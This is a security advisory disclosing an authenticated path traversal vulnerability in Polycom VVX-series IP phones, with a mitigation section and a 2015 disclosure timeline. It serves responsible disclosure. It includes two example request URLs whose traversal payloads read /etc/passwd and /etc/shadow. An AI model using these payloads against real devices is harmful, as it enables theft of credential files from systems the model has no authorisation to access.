Polycom VVX-Series Path Traversal

`Polycom VVX-Series Business Media Phones Path Traversal Vulnerability  
  
--Summary--  
  
Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks  
  
# Polycom  
# http://www.polycom.com  
  
--Affects--  
  
# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500  
# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier  
  
--Details--  
  
Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:  
  
http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
  
http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow  
  
--Mitigation--  
  
Upgrade to the latest version of UC Software available.  
Disable or restrict access to the web interface.  
  
--Timeline--  
  
# 6/16/2015: Notified Polycom about the issue  
# 6/17/2015: Polycom responds, indicates it is investigating  
# 6/18/2015: Polycom acknowledges vulnerability legitimacy  
# 6/26/2015: Polycom waiting on estimate for fix from engineering  
# 7/22/2015: Polycom provides with projected timelines for fixes  
# 11/24/2015: Polycom confirms all VVX branches are patched  
# 12/9/2015: Polycom issues public vulnerability advisory  
  
--References--  
  
https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability   
  
http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf  
  
Jake Reynolds  
Partner/Principal Consultant  
www.depthsecurity.com  
  
  
`